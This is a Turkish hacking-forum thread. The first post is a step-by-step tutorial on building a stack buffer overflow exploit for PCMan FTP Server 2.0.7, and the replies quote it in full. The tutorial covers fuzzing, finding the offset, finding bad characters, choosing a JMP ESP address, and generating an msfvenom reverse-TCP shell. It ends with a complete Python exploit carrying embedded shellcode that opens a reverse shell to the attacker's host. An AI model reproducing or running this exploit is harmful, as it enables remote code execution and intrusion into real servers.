Stack-Based Buffer Overflow Exploit Geliştirme(PCMan ftp server)

DeathWarrior01

Uzman üye
14 Ocak 2021
1,735
1,084
Evren
Stack-Based Buffer Overflow Exploit Geliştirme
Buffer Overflow nedir?

Buffer overflow, herhangi bir yazılımın geçici olarak depoladığı veri alanına tutabileceğinden daha fazla veri yazılması sonucunda oluşan bir zafiyettir.Örnek olarak siz bir kartona kitap koymak istiyorsunuz ve bu kartonun alabileceği maksimum kitap sayısı 10.Siz eğer bu kartona 10'dan fazla kitap koymak istediğiniz de kitaplar kartondan dışarı çıkıp düşeceklerdir.Buffer overflow olayıda buna benzetilebilir.

Exploit geliştirme aşamasına girmeden önce bilmemiz gereken bazı kavramlar var.Bunlar "ESP" ve "EIP".Bu kavramları hemen kısaca açıklayacak olursak:
ESP: "PUSH komutu ile stack veri alanına son giren elemanı işaret eder."
EIP: "CPU'nun code segment içerisinde hangi instruction(talimat) çalıştırıldığını anlık olarak gösterir."

Pcman FTP server 2.0.7 Exploit Geliştirme

Windows XP makinemde Immunity Debugger programını açıp "File > Open" kısayolu ile Pcman FTP server'ı açıyorum:


Server'ı açarken run butonuna iki kez basmanız gerekecektir.Açtıktan sonra fuzzing işlemine başlayalım fakat başlamadan önce server'ımızın debugger programımızda açık olduğundan emin olalım.Emin olmak için server'ımızı başlattıktan sonra windows xp makinemizde cmd'yi açıp aşağıdaki komutu yazalım:


Bu komut ile ağda çalışan servisleri görebiliriz.Görüldüğü üzere tcp protokolü üzerinden server'ımız ftp bağlantısını dinliyor.O zaman hemen fuzzing işlemine başlayalım:

Fuzzing



Yukarıda gördüğümüz python kodu FTP server'a "PORT" parametresi üzerinden "A" harflerinden oluşan, herseferinde 100'er byte artış gösterecek biçimde TCP paketlerinin gönderilmesini sağlıyor.Bu şekilde bellek taşmasının kaçıncı byte'tan sonra EIP değerine hükmedebildiğini anlayabileceğiz.Bu python kodunu masaüstüne "fuzzing.py" olarak kaydediyorum ve cmd'yi açıp "python fuzzing.py" olarak çalıştırıyorum:


Görüldüğü üzere fuzzing dosyamız bize EIP değerine 2100 byte'tan sonra hükmedebileceğimizi göstermiş oldu.O zaman hemen exploit'imizi yazmaya başlayalım:


Bu python kodu ile hedef server'ımızın "PORT" parametresine "A" harflerinden oluşan 2100 byte'lık bir değer gönderiyoruz.Bu sayede EIP değerine hükmedebileceğimizi kesin olarak öğreneceğiz.Hemen bu kodu masaüstüne "exploit.py" diye oluşturalım ve "python exploit.py" olarak çalıştıralım(Çalıştırmadan önce debugger programında FTP server'ı yeniden başlatmayı unutmayalım):



Görüldüğü üzere EIP değerine "41" sayısı yazılmış.Aslında burada ki "41" sayısı ascii karakteri olarak "A" harfine eşit yani EIP değerine "A" harfinin "Hexadecimal" sistemdeki karşılığının yazıldığını söyleyebiliriz.Velhasıl kelam EIP değerine hükmedebildiğimizi kesin bir şekilde anlamış olduk.

Offset bulma

Sırada ki işlemimiz ESP adresinin kaçıncı karakterden sonra bitip EIP üzerine veri yazıldığını bulmak.Bunun için 2100 tane birbirinden farklı(unique) değer gönderip tespitimizi yapacağız.Ben burada "Buffer overflow pattern generator" adlı siteden yararlanacağım sizler isterseniz "M3tasploit" veya "Mona" araçlarını kullanarak ta bu işlemi gerçekleştirebilirsiniz:



"Generate a pattern" bölümüne geliyorum ve "Length" yazan kısma 2100 değerini veriyorum.Devamında ise oluşturulan 2100 tane birbirinden farklı karakteri kopyalayıp exploit kodumun içerisine geliyorum:



Burada "pattern" adında bir değişken oluşturup, birbirinden farklı karakterleri değişkenin içerisine attık.Immunity debugger programında server'ı yeniden başlatalım ve "python exploit.py" şeklinde kodu çalıştıralım:



Görüldüğü üzere EIP değerimiz farklılık gösterdi bunun sebebi "A" karakterleri yerine unique değerler kullanmamız.Hemen EIP değerini kopyalayıp tekrardan "Buffer overflow pattern generator" adlı siteye gidip "Find the Offset" bölümüne gelelim:



Görüldüğü üzere offset değerimizi "2002" olarak bulmuş olduk.İsterseniz bu offset değerinin EIP adresi üzerine denk gelip, gelmediğini kontrol edelim:



Burada "eıp" adlı bir değişken oluşturarak içerisine toplam da 4 tane "B" karakteri attık.Bu "B" karakterlerinin eıp değerinin üzerine gelmesini umut ediyoruz.Yeniden server'ımızı debugger programında açalım ve "python exploit.py" olarak exploit dosyasını çalıştıralım:



Görüldüğü üzere eıp adresinin üzerine 4 tane "42" değeri yazılmış.42 değerinin ascii karşılığı "B" olduğu için buraya hexadecimal bir biçimde yazıldığını görebiliyoruz.Yani buradan offset değerimizin doğru olduğunu teyit etmiş olduk.Sonradan bu alanı değiştireceğiz.

Bad chars tespiti

Sırada ki işlemimiz "badchars" yani "kötü karakter" bulmak.Hedef sisteme sızmak için bir shellcode oluşturmak istiyoruz.Oluşturacağımız shellcode içerisinde sistem tarafından engellenen "badchar" lar olacaktır.Bunun olmaması içinde önceden bu "badchar" ları tespit edeceğiz.Tabii badchar tespitini yapmak için mona adlı bir tool'dan yararlanacağız.Monayı kurmak için ise aşağıda ki linke gidebilirsiniz:

Öncelikle ımmunity debugger'ı açarak aşağıdaki komutu yazıyorum:



Bu komut ile badchars tespiti yapabilmemiz için birtane bytearray oluşturuyoruz.Şimdi bytearray'in oluşturulduğu dosya yoluna gidelim ve txt dosyasını açıp bytearray'imizi kopyalayıp, exploit kodumuzun içerisinde bytearray adlı bir değişken oluşturalım:





Hemen python kodumuzu "python exploit.py" olarak çalıştıralım.Çalıştırdıktan sonra debugger programına geliyorum:



Esp adresinin üzerine gelip "Follow in dump" diyorum ve sol altta bulunan bellek bölümüne inip incelemeye başlıyorum:



Görüldüğü üzere "\x0a" karakterini badchar olarak tespit etmiş olduk.Tabii bunun yanında "\x00" karakterini de silmemiz lazım çünkü "\x00" karakteri windows işletim sisteminde default bir şekilde badchar olarak algılanıyor.Şimdi bu iki karakteri bytearray'dan silip tekrardan server'ımıza gönderelim:



Burada tekrardan esp değerinin üzerine gelip "Follow in dump" dedim ve bellek bölümüne inmiş oldum.Burada teker teker incelediğimizde "\x0d" karakterini badchar olarak tespit etmiş oluyoruz.Hemen bytearray'dan "\x0d" karakterini silip server'a tekrardan gönderiyoruz:



Tekrardan esp alanına gelip "Follow in dump" diyerek bellek bölümüne iniyorum.Teker teker incelediğimde görüldüğü üzere bozulan başka bir karakterin olmadığını görüyorum.O zaman badchars'larımız "\x00\x0a\x0d".Bunu exploit kodumun biryerine unutmamak için yorum satırı şeklinde not alıyorum.

Stack alanına atlanacak adresi bulma


Debugger programımı açıp "!mona jmp -r esp -cpb '\x00\x0a\x0d'" komutunu giriyorum.Bu komut sayesinde belirtmiş olduğumuz badchars'lar haricinde kalan stack adresine atlamamızı sağlayan adresi getirmesini istedik(Komut içerisinde ki "jmp" assembly dilinde atlama komutu olarak kullanılmaktadır).Hemen bu komutu çalıştıracak olursak:



Görüldüğü üzere karşımıza birden çok adres geldi.Ben tüm buffer overflow korumaları devre dışı olan en üstteki adresi seçiyorum.Adres üzerine gelip "Sağ tık > Copy to clipboard > Adress" diyerek atlanacak adresi kopyalıyorum.Hemen python koduma gelerek önceden tanımlamış olduğum "eıp" adlı değişkenin içerisine 4 tane geçici olarak "B" karakteri atmıştık.Şimdi o "B" karakterlerini silip yerine bulduğumuz adresi ters bir şekilde yazıyoruz:



Shellcode oluşturup, exploit işlemine başlamak

BackBox linux üzerinde bir terminal açıp aşağıda ki komutu çalıştırıyorum:

Kod:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.36 LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0b" -f py

Bu komut sayesinde msfvenom bize hazır bir shellcode üretecek.Hemen komut içerisinde ki parametleri açıklayacak olursak:
Kod:
-p : "Seçtiğimiz payload"
LHOST: "Local ip adresimiz"
LPORT: "Local port adresimiz"
EXITFUNC: "Servisin çökmemesini sağlıyor"
-b : "Badchars"
-f : "Dosya türü"

Çalıştırdıktan sonra shellcode'u alıyoruz.Exploit kodumuza geri dönüp shellcode'umuzu yerleştiriyoruz fakat yerleştirmeden önce 15 adet nop karakter koyuyoruz bir hata vermemesi için:

Python:
import socket

# Badchars ==> \x00\x0a\x0d
# EIP adress ==> 77FAB277

ip = "192.168.138.128" # Hedef ftp server ip adresi
port = 21 # Hedef ftp server port

prefix = "PORT " # Bellek taşmasının görüldüğü alan
offset = "A" * 2002 # Offset değeri
eıp = "\x77\xab\xfa\x77" # Jmp ESP 
nop_chars = "\x90" * 15
# Shellcode
Buf =  ""
Buf += "\xb8\x1c\x84\xd2\x06\xd9\xe1\xd9\x74\x24\xf4\x5a\x2b"
Buf += "\xc9\xb1\x52\x83\xea\xfc\x31\x42\x0e\x03\x5e\x8a\x30"
Buf += "\xf3\xa2\x7a\x36\xfc\x5a\x7b\x57\x74\xbf\x4a\x57\xe2"
Buf += "\xb4\xfd\x67\x60\x98\xf1\x0c\x24\x08\x81\x61\xe1\x3f"
Buf += "\x22\xcf\xd7\x0e\xb3\x7c\x2b\x11\x37\x7f\x78\xf1\x06"
Buf += "\xb0\x8d\xf0\x4f\xad\x7c\xa0\x18\xb9\xd3\x54\x2c\xf7"
Buf += "\xef\xdf\x7e\x19\x68\x3c\x36\x18\x59\x93\x4c\x43\x79"
Buf += "\x12\x80\xff\x30\x0c\xc5\x3a\x8a\xa7\x3d\xb0\x0d\x61"
Buf += "\x0c\x39\xa1\x4c\xa0\xc8\xbb\x89\x07\x33\xce\xe3\x7b"
Buf += "\xce\xc9\x30\x01\x14\x5f\xa2\xa1\xdf\xc7\x0e\x53\x33"
Buf += "\x91\xc5\x5f\xf8\xd5\x81\x43\xff\x3a\xba\x78\x74\xbd"
Buf += "\x6c\x09\xce\x9a\xa8\x51\x94\x83\xe9\x3f\x7b\xbb\xe9"
Buf += "\x9f\x24\x19\x62\x0d\x30\x10\x29\x5a\xf5\x19\xd1\x9a"
Buf += "\x91\x2a\xa2\xa8\x3e\x81\x2c\x81\xb7\x0f\xab\xe6\xed"
Buf += "\xe8\x23\x19\x0e\x09\x6a\xde\x5a\x59\x04\xf7\xe2\x32"
Buf += "\xd4\xf8\x36\x94\x84\x56\xe9\x55\x74\x17\x59\x3e\x9e"
Buf += "\x98\x86\x5e\xa1\x72\xaf\xf5\x58\x15\x10\xa1\x63\xc1"
Buf += "\xf8\xb0\x63\x18\xa5\x3d\x85\x70\x45\x68\x1e\xed\xfc"
Buf += "\x31\xd4\x8c\x01\xec\x91\x8f\x8a\x03\x66\x41\x7b\x69"
Buf += "\x74\x36\x8b\x24\x26\x91\x94\x92\x4e\x7d\x06\x79\x8e"
Buf += "\x08\x3b\xd6\xd9\x5d\x8d\x2f\x8f\x73\xb4\x99\xad\x89"
Buf += "\x20\xe1\x75\x56\x91\xec\x74\x1b\xad\xca\x66\xe5\x2e"
Buf += "\x57\xd2\xb9\x78\x01\x8c\x7f\xd3\xe3\x66\xd6\x88\xad"
Buf += "\xee\xaf\xe2\x6d\x68\xb0\x2e\x18\x94\x01\x87\x5d\xab"
Buf += "\xae\x4f\x6a\xd4\xd2\xef\x95\x0f\x57\x0f\x74\x85\xa2"
Buf += "\xb8\x21\x4c\x0f\xa5\xd1\xbb\x4c\xd0\x51\x49\x2d\x27"
Buf += "\x49\x38\x28\x63\xcd\xd1\x40\xfc\xb8\xd5\xf7\xfd\xe8"

buffer = prefix + offset + eıp + nop_chars + Buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer, "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Görüldüğü üzere exploit'imiz hazır :)

Herkese esenlikler dilerim...
 
Son düzenleme:

TOZQOPARAN

Uzman üye
3 Nis 2021
1,257
678
Eski Anka Underground Tim
Stack-Based Buffer Overflow Exploit Geliştirme
Buffer Overflow nedir?

Buffer overflow, herhangi bir yazılımın geçici olarak depoladığı veri alanına tutabileceğinden daha fazla veri yazılması sonucunda oluşan bir zafiyettir.Örnek olarak siz bir kartona kitap koymak istiyorsunuz ve bu kartonun alabileceği maksimum kitap sayısı 10.Siz eğer bu kartona 10'dan fazla kitap koymak istediğiniz de kitaplar kartondan dışarı çıkıp düşeceklerdir.Buffer overflow olayıda buna benzetilebilir.

Exploit geliştirme aşamasına girmeden önce bilmemiz gereken bazı kavramlar var.Bunlar "ESP" ve "EIP".Bu kavramları hemen kısaca açıklayacak olursak:
ESP: "PUSH komutu ile stack veri alanına son giren elemanı işaret eder."
EIP: "CPU'nun code segment içerisinde hangi instruction(talimat) çalıştırıldığını anlık olarak gösterir."

Pcman FTP server 2.0.7 Exploit Geliştirme

Windows XP makinemde Immunity Debugger programını açıp "File > Open" kısayolu ile Pcman FTP server'ı açıyorum:


Server'ı açarken run butonuna iki kez basmanız gerekecektir.Açtıktan sonra fuzzing işlemine başlayalım fakat başlamadan önce server'ımızın debugger programımızda açık olduğundan emin olalım.Emin olmak için server'ımızı başlattıktan sonra windows xp makinemizde cmd'yi açıp aşağıdaki komutu yazalım:


Bu komut ile ağda çalışan servisleri görebiliriz.Görüldüğü üzere tcp protokolü üzerinden server'ımız ftp bağlantısını dinliyor.O zaman hemen fuzzing işlemine başlayalım:

Fuzzing



Yukarıda gördüğümüz python kodu FTP server'a "PORT" parametresi üzerinden "A" harflerinden oluşan, herseferinde 100'er byte artış gösterecek biçimde TCP paketlerinin gönderilmesini sağlıyor.Bu şekilde bellek taşmasının kaçıncı byte'tan sonra EIP değerine hükmedebildiğini anlayabileceğiz.Bu python kodunu masaüstüne "fuzzing.py" olarak kaydediyorum ve cmd'yi açıp "python fuzzing.py" olarak çalıştırıyorum:


Görüldüğü üzere fuzzing dosyamız bize EIP değerine 2100 byte'tan sonra hükmedebileceğimizi göstermiş oldu.O zaman hemen exploit'imizi yazmaya başlayalım:


Bu python kodu ile hedef server'ımızın "PORT" parametresine "A" harflerinden oluşan 2100 byte'lık bir değer gönderiyoruz.Bu sayede EIP değerine hükmedebileceğimizi kesin olarak öğreneceğiz.Hemen bu kodu masaüstüne "exploit.py" diye oluşturalım ve "python exploit.py" olarak çalıştıralım(Çalıştırmadan önce debugger programında FTP server'ı yeniden başlatmayı unutmayalım):



Görüldüğü üzere EIP değerine "41" sayısı yazılmış.Aslında burada ki "41" sayısı ascii karakteri olarak "A" harfine eşit yani EIP değerine "A" harfinin "Hexadecimal" sistemdeki karşılığının yazıldığını söyleyebiliriz.Velhasıl kelam EIP değerine hükmedebildiğimizi kesin bir şekilde anlamış olduk.

Offset bulma

Sırada ki işlemimiz ESP adresinin kaçıncı karakterden sonra bitip EIP üzerine veri yazıldığını bulmak.Bunun için 2100 tane birbirinden farklı(unique) değer gönderip tespitimizi yapacağız.Ben burada "Buffer overflow pattern generator" adlı siteden yararlanacağım sizler isterseniz "M3tasploit" veya "Mona" araçlarını kullanarak ta bu işlemi gerçekleştirebilirsiniz:



"Generate a pattern" bölümüne geliyorum ve "Length" yazan kısma 2100 değerini veriyorum.Devamında ise oluşturulan 2100 tane birbirinden farklı karakteri kopyalayıp exploit kodumun içerisine geliyorum:



Burada "pattern" adında bir değişken oluşturup, birbirinden farklı karakterleri değişkenin içerisine attık.Immunity debugger programında server'ı yeniden başlatalım ve "python exploit.py" şeklinde kodu çalıştıralım:



Görüldüğü üzere EIP değerimiz farklılık gösterdi bunun sebebi "A" karakterleri yerine unique değerler kullanmamız.Hemen EIP değerini kopyalayıp tekrardan "Buffer overflow pattern generator" adlı siteye gidip "Find the Offset" bölümüne gelelim:



Görüldüğü üzere offset değerimizi "2002" olarak bulmuş olduk.İsterseniz bu offset değerinin EIP adresi üzerine denk gelip, gelmediğini kontrol edelim:



Burada "eıp" adlı bir değişken oluşturarak içerisine toplam da 4 tane "B" karakteri attık.Bu "B" karakterlerinin eıp değerinin üzerine gelmesini umut ediyoruz.Yeniden server'ımızı debugger programında açalım ve "python exploit.py" olarak exploit dosyasını çalıştıralım:



Görüldüğü üzere eıp adresinin üzerine 4 tane "42" değeri yazılmış.42 değerinin ascii karşılığı "B" olduğu için buraya hexadecimal bir biçimde yazıldığını görebiliyoruz.Yani buradan offset değerimizin doğru olduğunu teyit etmiş olduk.Sonradan bu alanı değiştireceğiz.

Bad chars tespiti

Sırada ki işlemimiz "badchars" yani "kötü karakter" bulmak.Hedef sisteme sızmak için bir shellcode oluşturmak istiyoruz.Oluşturacağımız shellcode içerisinde sistem tarafından engellenen "badchar" lar olacaktır.Bunun olmaması içinde önceden bu "badchar" ları tespit edeceğiz.Tabii badchar tespitini yapmak için mona adlı bir tool'dan yararlanacağız.Monayı kurmak için ise aşağıda ki linke gidebilirsiniz:

Öncelikle ımmunity debugger'ı açarak aşağıdaki komutu yazıyorum:



Bu komut ile badchars tespiti yapabilmemiz için birtane bytearray oluşturuyoruz.Şimdi bytearray'in oluşturulduğu dosya yoluna gidelim ve txt dosyasını açıp bytearray'imizi kopyalayıp, exploit kodumuzun içerisinde bytearray adlı bir değişken oluşturalım:





Hemen python kodumuzu "python exploit.py" olarak çalıştıralım.Çalıştırdıktan sonra debugger programına geliyorum:



Esp adresinin üzerine gelip "Follow in dump" diyorum ve sol altta bulunan bellek bölümüne inip incelemeye başlıyorum:



Görüldüğü üzere "\x0a" karakterini badchar olarak tespit etmiş olduk.Tabii bunun yanında "\x00" karakterini de silmemiz lazım çünkü "\x00" karakteri windows işletim sisteminde default bir şekilde badchar olarak algılanıyor.Şimdi bu iki karakteri bytearray'dan silip tekrardan server'ımıza gönderelim:



Burada tekrardan esp değerinin üzerine gelip "Follow in dump" dedim ve bellek bölümüne inmiş oldum.Burada teker teker incelediğimizde "\x0d" karakterini badchar olarak tespit etmiş oluyoruz.Hemen bytearray'dan "\x0d" karakterini silip server'a tekrardan gönderiyoruz:



Tekrardan esp alanına gelip "Follow in dump" diyerek bellek bölümüne iniyorum.Teker teker incelediğimde görüldüğü üzere bozulan başka bir karakterin olmadığını görüyorum.O zaman badchars'larımız "\x00\x0a\x0d".Bunu exploit kodumun biryerine unutmamak için yorum satırı şeklinde not alıyorum.

Stack alanına atlanacak adresi bulma


Debugger programımı açıp "!mona jmp -r esp -cpb '\x00\x0a\x0d'" komutunu giriyorum.Bu komut sayesinde belirtmiş olduğumuz badchars'lar haricinde kalan stack adresine atlamamızı sağlayan adresi getirmesini istedik(Komut içerisinde ki "jmp" assembly dilinde atlama komutu olarak kullanılmaktadır).Hemen bu komutu çalıştıracak olursak:



Görüldüğü üzere karşımıza birden çok adres geldi.Ben tüm buffer overflow korumaları devre dışı olan en üstteki adresi seçiyorum.Adres üzerine gelip "Sağ tık > Copy to clipboard > Adress" diyerek atlanacak adresi kopyalıyorum.Hemen python koduma gelerek önceden tanımlamış olduğum "eıp" adlı değişkenin içerisine 4 tane geçici olarak "B" karakteri atmıştık.Şimdi o "B" karakterlerini silip yerine bulduğumuz adresi ters bir şekilde yazıyoruz:



Shellcode oluşturup, exploit işlemine başlamak

BackBox linux üzerinde bir terminal açıp aşağıda ki komutu çalıştırıyorum:

Kod:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.36 LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0b" -f py

Bu komut sayesinde msfvenom bize hazır bir shellcode üretecek.Hemen komut içerisinde ki parametleri açıklayacak olursak:
Kod:
-p : "Seçtiğimiz payload"
LHOST: "Local ip adresimiz"
LPORT: "Local port adresimiz"
EXITFUNC: "Servisin çökmemesini sağlıyor"
-b : "Badchars"
-f : "Dosya türü"

Çalıştırdıktan sonra shellcode'u alıyoruz.Exploit kodumuza geri dönüp shellcode'umuzu yerleştiriyoruz fakat yerleştirmeden önce 15 adet nop karakter koyuyoruz bir hata vermemesi için:

Python:
import socket

# Badchars ==> \x00\x0a\x0d
# EIP adress ==> 77FAB277

ip = "192.168.138.128" # Hedef ftp server ip adresi
port = 21 # Hedef ftp server port

prefix = "PORT " # Bellek taşmasının görüldüğü alan
offset = "A" * 2002 # Offset değeri
eıp = "\x77\xab\xfa\x77" # EIP değeri
nop_chars = "\x90" * 15
# Shellcode
Buf =  ""
Buf += "\xb8\x1c\x84\xd2\x06\xd9\xe1\xd9\x74\x24\xf4\x5a\x2b"
Buf += "\xc9\xb1\x52\x83\xea\xfc\x31\x42\x0e\x03\x5e\x8a\x30"
Buf += "\xf3\xa2\x7a\x36\xfc\x5a\x7b\x57\x74\xbf\x4a\x57\xe2"
Buf += "\xb4\xfd\x67\x60\x98\xf1\x0c\x24\x08\x81\x61\xe1\x3f"
Buf += "\x22\xcf\xd7\x0e\xb3\x7c\x2b\x11\x37\x7f\x78\xf1\x06"
Buf += "\xb0\x8d\xf0\x4f\xad\x7c\xa0\x18\xb9\xd3\x54\x2c\xf7"
Buf += "\xef\xdf\x7e\x19\x68\x3c\x36\x18\x59\x93\x4c\x43\x79"
Buf += "\x12\x80\xff\x30\x0c\xc5\x3a\x8a\xa7\x3d\xb0\x0d\x61"
Buf += "\x0c\x39\xa1\x4c\xa0\xc8\xbb\x89\x07\x33\xce\xe3\x7b"
Buf += "\xce\xc9\x30\x01\x14\x5f\xa2\xa1\xdf\xc7\x0e\x53\x33"
Buf += "\x91\xc5\x5f\xf8\xd5\x81\x43\xff\x3a\xba\x78\x74\xbd"
Buf += "\x6c\x09\xce\x9a\xa8\x51\x94\x83\xe9\x3f\x7b\xbb\xe9"
Buf += "\x9f\x24\x19\x62\x0d\x30\x10\x29\x5a\xf5\x19\xd1\x9a"
Buf += "\x91\x2a\xa2\xa8\x3e\x81\x2c\x81\xb7\x0f\xab\xe6\xed"
Buf += "\xe8\x23\x19\x0e\x09\x6a\xde\x5a\x59\x04\xf7\xe2\x32"
Buf += "\xd4\xf8\x36\x94\x84\x56\xe9\x55\x74\x17\x59\x3e\x9e"
Buf += "\x98\x86\x5e\xa1\x72\xaf\xf5\x58\x15\x10\xa1\x63\xc1"
Buf += "\xf8\xb0\x63\x18\xa5\x3d\x85\x70\x45\x68\x1e\xed\xfc"
Buf += "\x31\xd4\x8c\x01\xec\x91\x8f\x8a\x03\x66\x41\x7b\x69"
Buf += "\x74\x36\x8b\x24\x26\x91\x94\x92\x4e\x7d\x06\x79\x8e"
Buf += "\x08\x3b\xd6\xd9\x5d\x8d\x2f\x8f\x73\xb4\x99\xad\x89"
Buf += "\x20\xe1\x75\x56\x91\xec\x74\x1b\xad\xca\x66\xe5\x2e"
Buf += "\x57\xd2\xb9\x78\x01\x8c\x7f\xd3\xe3\x66\xd6\x88\xad"
Buf += "\xee\xaf\xe2\x6d\x68\xb0\x2e\x18\x94\x01\x87\x5d\xab"
Buf += "\xae\x4f\x6a\xd4\xd2\xef\x95\x0f\x57\x0f\x74\x85\xa2"
Buf += "\xb8\x21\x4c\x0f\xa5\xd1\xbb\x4c\xd0\x51\x49\x2d\x27"
Buf += "\x49\x38\x28\x63\xcd\xd1\x40\xfc\xb8\xd5\xf7\xfd\xe8"

buffer = prefix + offset + eıp + nop_chars + Buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer, "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Görüldüğü üzere exploit'imiz hazır :)

Herkese esenlikler dilerim...

Elinize emeğinize sağlık hocam, mükemmel ötesi bir paylaşım olmuş. Devamını bekleriz

 

Adanalıtrojan

Kıdemli Üye
25 Haz 2021
2,024
1,053
16
Konya Ovası Askeri Tesislerinde
Stack-Based Buffer Overflow Exploit Geliştirme
Buffer Overflow nedir?

Buffer overflow, herhangi bir yazılımın geçici olarak depoladığı veri alanına tutabileceğinden daha fazla veri yazılması sonucunda oluşan bir zafiyettir.Örnek olarak siz bir kartona kitap koymak istiyorsunuz ve bu kartonun alabileceği maksimum kitap sayısı 10.Siz eğer bu kartona 10'dan fazla kitap koymak istediğiniz de kitaplar kartondan dışarı çıkıp düşeceklerdir.Buffer overflow olayıda buna benzetilebilir.

Exploit geliştirme aşamasına girmeden önce bilmemiz gereken bazı kavramlar var.Bunlar "ESP" ve "EIP".Bu kavramları hemen kısaca açıklayacak olursak:
ESP: "PUSH komutu ile stack veri alanına son giren elemanı işaret eder."
EIP: "CPU'nun code segment içerisinde hangi instruction(talimat) çalıştırıldığını anlık olarak gösterir."

Pcman FTP server 2.0.7 Exploit Geliştirme

Windows XP makinemde Immunity Debugger programını açıp "File > Open" kısayolu ile Pcman FTP server'ı açıyorum:


Server'ı açarken run butonuna iki kez basmanız gerekecektir.Açtıktan sonra fuzzing işlemine başlayalım fakat başlamadan önce server'ımızın debugger programımızda açık olduğundan emin olalım.Emin olmak için server'ımızı başlattıktan sonra windows xp makinemizde cmd'yi açıp aşağıdaki komutu yazalım:


Bu komut ile ağda çalışan servisleri görebiliriz.Görüldüğü üzere tcp protokolü üzerinden server'ımız ftp bağlantısını dinliyor.O zaman hemen fuzzing işlemine başlayalım:

Fuzzing



Yukarıda gördüğümüz python kodu FTP server'a "PORT" parametresi üzerinden "A" harflerinden oluşan, herseferinde 100'er byte artış gösterecek biçimde TCP paketlerinin gönderilmesini sağlıyor.Bu şekilde bellek taşmasının kaçıncı byte'tan sonra EIP değerine hükmedebildiğini anlayabileceğiz.Bu python kodunu masaüstüne "fuzzing.py" olarak kaydediyorum ve cmd'yi açıp "python fuzzing.py" olarak çalıştırıyorum:


Görüldüğü üzere fuzzing dosyamız bize EIP değerine 2100 byte'tan sonra hükmedebileceğimizi göstermiş oldu.O zaman hemen exploit'imizi yazmaya başlayalım:


Bu python kodu ile hedef server'ımızın "PORT" parametresine "A" harflerinden oluşan 2100 byte'lık bir değer gönderiyoruz.Bu sayede EIP değerine hükmedebileceğimizi kesin olarak öğreneceğiz.Hemen bu kodu masaüstüne "exploit.py" diye oluşturalım ve "python exploit.py" olarak çalıştıralım(Çalıştırmadan önce debugger programında FTP server'ı yeniden başlatmayı unutmayalım):



Görüldüğü üzere EIP değerine "41" sayısı yazılmış.Aslında burada ki "41" sayısı ascii karakteri olarak "A" harfine eşit yani EIP değerine "A" harfinin "Hexadecimal" sistemdeki karşılığının yazıldığını söyleyebiliriz.Velhasıl kelam EIP değerine hükmedebildiğimizi kesin bir şekilde anlamış olduk.

Offset bulma

Sırada ki işlemimiz ESP adresinin kaçıncı karakterden sonra bitip EIP üzerine veri yazıldığını bulmak.Bunun için 2100 tane birbirinden farklı(unique) değer gönderip tespitimizi yapacağız.Ben burada "Buffer overflow pattern generator" adlı siteden yararlanacağım sizler isterseniz "M3tasploit" veya "Mona" araçlarını kullanarak ta bu işlemi gerçekleştirebilirsiniz:



"Generate a pattern" bölümüne geliyorum ve "Length" yazan kısma 2100 değerini veriyorum.Devamında ise oluşturulan 2100 tane birbirinden farklı karakteri kopyalayıp exploit kodumun içerisine geliyorum:



Burada "pattern" adında bir değişken oluşturup, birbirinden farklı karakterleri değişkenin içerisine attık.Immunity debugger programında server'ı yeniden başlatalım ve "python exploit.py" şeklinde kodu çalıştıralım:



Görüldüğü üzere EIP değerimiz farklılık gösterdi bunun sebebi "A" karakterleri yerine unique değerler kullanmamız.Hemen EIP değerini kopyalayıp tekrardan "Buffer overflow pattern generator" adlı siteye gidip "Find the Offset" bölümüne gelelim:



Görüldüğü üzere offset değerimizi "2002" olarak bulmuş olduk.İsterseniz bu offset değerinin EIP adresi üzerine denk gelip, gelmediğini kontrol edelim:



Burada "eıp" adlı bir değişken oluşturarak içerisine toplam da 4 tane "B" karakteri attık.Bu "B" karakterlerinin eıp değerinin üzerine gelmesini umut ediyoruz.Yeniden server'ımızı debugger programında açalım ve "python exploit.py" olarak exploit dosyasını çalıştıralım:



Görüldüğü üzere eıp adresinin üzerine 4 tane "42" değeri yazılmış.42 değerinin ascii karşılığı "B" olduğu için buraya hexadecimal bir biçimde yazıldığını görebiliyoruz.Yani buradan offset değerimizin doğru olduğunu teyit etmiş olduk.Sonradan bu alanı değiştireceğiz.

Bad chars tespiti

Sırada ki işlemimiz "badchars" yani "kötü karakter" bulmak.Hedef sisteme sızmak için bir shellcode oluşturmak istiyoruz.Oluşturacağımız shellcode içerisinde sistem tarafından engellenen "badchar" lar olacaktır.Bunun olmaması içinde önceden bu "badchar" ları tespit edeceğiz.Tabii badchar tespitini yapmak için mona adlı bir tool'dan yararlanacağız.Monayı kurmak için ise aşağıda ki linke gidebilirsiniz:

Öncelikle ımmunity debugger'ı açarak aşağıdaki komutu yazıyorum:



Bu komut ile badchars tespiti yapabilmemiz için birtane bytearray oluşturuyoruz.Şimdi bytearray'in oluşturulduğu dosya yoluna gidelim ve txt dosyasını açıp bytearray'imizi kopyalayıp, exploit kodumuzun içerisinde bytearray adlı bir değişken oluşturalım:





Hemen python kodumuzu "python exploit.py" olarak çalıştıralım.Çalıştırdıktan sonra debugger programına geliyorum:



Esp adresinin üzerine gelip "Follow in dump" diyorum ve sol altta bulunan bellek bölümüne inip incelemeye başlıyorum:



Görüldüğü üzere "\x0a" karakterini badchar olarak tespit etmiş olduk.Tabii bunun yanında "\x00" karakterini de silmemiz lazım çünkü "\x00" karakteri windows işletim sisteminde default bir şekilde badchar olarak algılanıyor.Şimdi bu iki karakteri bytearray'dan silip tekrardan server'ımıza gönderelim:



Burada tekrardan esp değerinin üzerine gelip "Follow in dump" dedim ve bellek bölümüne inmiş oldum.Burada teker teker incelediğimizde "\x0d" karakterini badchar olarak tespit etmiş oluyoruz.Hemen bytearray'dan "\x0d" karakterini silip server'a tekrardan gönderiyoruz:



Tekrardan esp alanına gelip "Follow in dump" diyerek bellek bölümüne iniyorum.Teker teker incelediğimde görüldüğü üzere bozulan başka bir karakterin olmadığını görüyorum.O zaman badchars'larımız "\x00\x0a\x0d".Bunu exploit kodumun biryerine unutmamak için yorum satırı şeklinde not alıyorum.

Stack alanına atlanacak adresi bulma


